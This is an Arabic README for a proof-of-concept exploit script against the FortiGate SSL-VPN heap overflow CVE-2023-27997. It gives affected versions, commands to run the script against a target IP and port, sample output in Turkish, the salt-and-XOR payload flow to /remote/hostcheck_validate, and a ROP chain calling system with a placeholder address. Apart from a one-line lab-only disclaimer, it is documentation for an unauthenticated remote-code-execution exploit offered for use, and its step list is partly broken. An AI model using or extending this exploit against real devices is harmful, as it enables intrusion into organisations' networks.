
سكربت إثبات المفهوم (PoC) لاستغلال ثغرة FortiGate SSL-VPN CVE-2023-27997 مع سلسلة ROP
سكربت إثبات المفهوم (PoC) لاستغلال ثغرة CVE‑2023‑27997 في FortiGate SSL‑VPN مع سلسلة ROP
fgt-cve-2023-27997-exploit.py هو سكربت إثبات مفهوم (PoC) لاستغلال الثغرة الأمنية الحرجة CVE‑2023‑27997 المكتشفة في أجهزة Fortinet FortiGate.
تنبع الثغرة من خطأ تجاوز سعة المخزن المؤقت المستند إلى الكومة (heap-based buffer overflow) في واجهة FortiOS SSL‑VPN، مما يتيح تنفيذ كود عن بُعد (RCE) دون مصادقة.
خطوات عمل السكربت:
/remote/hostcheck_validate لاستدعاء تجاوز الذاكرة.تنبيه: يجب استخدام السكربت فقط في بيئات اختبار أو مختبر مصرح بها.
| المنتج | الإصدارات |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | الإصدارات ذات الصلة |
pip3 install -r requirements.txt
محتويات requirements.txt:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
مثال:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| الوسيط | الوصف |
|---|---|
<TARGET_IP> | عنوان IP لجهاز FortiGate الهدف |
<TARGET_PORT> | منفذ SSL‑VPN (الافتراضي: 443 أو 10443) |
[*] FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit Başlatılıyor...
[+] Salt alındı: 749a2b77
[+] Enc parametresi oluşturuldu (1024 karakter)
[!] 500 Internal Server Error - Bellek taşması veya crash olabilir!
/remote/info --> salt değeri alınır
/remote/hostcheck_validate?enc=<payload> --> buffer overflow tetiklenir
enc باستخدام تيار مفاتيح XOR الناتج من دمج salt + seed.| الخطوة | الأداة | الوصف |
|---|
| 1 | pop rdi ; ret | يتم تحميل عنوان الأمر في RDI |
| 2 | system@plt | يتم تنفيذ الأمر |
| – | 0xdeadbeefdeadbeef | قيمة مؤقتة؛ يجب تحديد العنوان الحقيقي في بيئة المختبر |
تم تصميم هذا الـ PoC ليعمل دون الحاجة إلى تهيئة الكومة (heap grooming) في بيئة اختبار مُتحكم بها.